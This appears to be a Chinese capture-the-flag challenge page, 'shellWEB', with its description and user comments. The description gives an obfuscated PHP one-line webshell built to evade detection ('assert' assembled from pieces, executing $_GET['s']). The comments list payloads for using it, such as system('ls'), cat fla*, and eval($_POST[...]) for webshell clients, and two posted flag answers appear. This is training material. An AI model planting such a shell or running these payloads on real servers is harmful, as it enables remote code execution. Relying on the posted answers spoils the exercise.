shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 9259
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
HK1ng 1年前
举报

根据描述就能看出已经上传了shell，让我们去利用即可，这里没有用菜刀连，直接手动构造，利用系统命令来实现s=system('ls'),然后可以看到当前目录有flaxxxxx，然后直接cat，s=system('cat fla*'),用一个模糊匹配。

回复 0
zhwen 1年前
举报

简单PHP木马的利用，s=system("ls");

回复 0
zfly 1年前
举报

?s=system('ls') ?s=system('cat fla*')

回复 1
八一卜kod 1年前
举报

cat

回复 0
freestyle 1年前
举报

s是传递的参数，get型号注入点，就是这么简单 ？s=system('ls')查看当前目录发现文件名，再通过cat、more、less、head、tail等查看文件内容

回复 1
000ooo 1年前
举报

?s=eval+($_POST['123'])

回复 2
ruien 1年前
举报

答案就在描述里，上传的s参数如果是字符串会被当命令执行

回复 0
112356 1年前
举报

flag{0aa5253236aa8d97368bd753cb3c4cf2}

回复 0
迷茫的三千面 2年前
举报

flag{f790b1679ece8cfe8ce3fc425c30896b}

回复 0
星空 2年前
举报

?s=eval($_POST["cmd"]),再用蚁剑连

回复 0

WriteUp

image
harry

3 金币

立即查看

评分(11)

解题动态

南风 攻破了该题 8小时前
crea-tive 攻破了该题 10小时前
月落曦辰 攻破了该题 14小时前
1916176503 攻破了该题 15小时前
suoao 攻破了该题 17小时前
男大有点小帅 攻破了该题 20小时前
浅云723 攻破了该题 22小时前
淮南 攻破了该题 1天前
安全的可达鸭 攻破了该题 1天前
qinlan 攻破了该题 1天前
白说的话 攻破了该题 1天前
TOVOT 攻破了该题 1天前
inspired 攻破了该题 2天前
colaring 攻破了该题 2天前
xinyu929 攻破了该题 2天前
shooter6567 攻破了该题 3天前
Yan123 攻破了该题 3天前
HZFCMCC 攻破了该题 3天前
1234wsryv 攻破了该题 3天前
LightPing 攻破了该题 3天前
问题反馈